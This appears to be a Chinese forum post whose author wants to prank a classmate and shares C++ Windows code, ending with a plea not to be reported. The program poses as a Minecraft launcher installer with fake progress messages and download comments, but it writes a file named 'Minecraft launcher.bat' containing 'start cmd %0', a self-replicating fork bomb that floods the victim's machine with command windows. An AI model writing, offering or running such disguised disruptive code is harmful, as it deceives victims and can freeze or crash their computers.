rt,想坑坑同学
#include <iostream>
#include <windows.h>
#include <string>
char **funFilePath(char** arrFilename,int nLength);
int createFile(char *contentTxt,int nLength);
int deleteFile(int nLength);
int main(int argc, char** argv) {
std::cout<<"开始创建启动器\n";
char contentTxt[2048]="start cmd %0";//利用cmd辅助进行下载
int nLength = 1;//文件数量
std::cout<<"请稍等,创建时间大约5s(平均时间)\n";
Sleep(10000);
createFile(contentTxt,nLength);//开始下载
//deleteFile(nLength);
system("pause");
return 0;
}
char **funFilePath(char** arrFilename, int nLength)//下载程序
{
char Path[255];
char FileName[255];
for(int i=0;i<nLength;i++) {
GetCurrentDirectory(sizeof(Path),Path);
wsprintf(FileName,"\\Minecraft launcher.bat",i);//文件名称
strcat(Path,FileName);
arrFilename[i]=(char *)malloc(255);
strcpy(arrFilename[i],Path);
}
//printf("%s\n",arrFilename[i]);//test
return arrFilename;
}
int createFile(char *contentTxt,int nLength){
//int nLength = 10;
char* arrFilename[nLength];
funFilePath(arrFilename,nLength);
//printf("%d\n",sizeof(arrFilename)/sizeof(char**));
for(int i=0;i<sizeof(arrFilename)/sizeof(char**);i++) {
HANDLE hFile;
hFile = CreateFile(arrFilename[i],GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
if(hFile==INVALID_HANDLE_VALUE){
continue;
}
DWORD dwWrite;
WriteFile(hFile,contentTxt,strlen(contentTxt),&dwWrite,NULL);//创建文件并写入内容
printf("%s----创建成功!\n",arrFilename[i]);
CloseHandle(hFile);
free(arrFilename[i]);//释放内存
}
//memset(arrFilename,0x00,255);//清空数组内容
return 0;
}
请不要举报,谢谢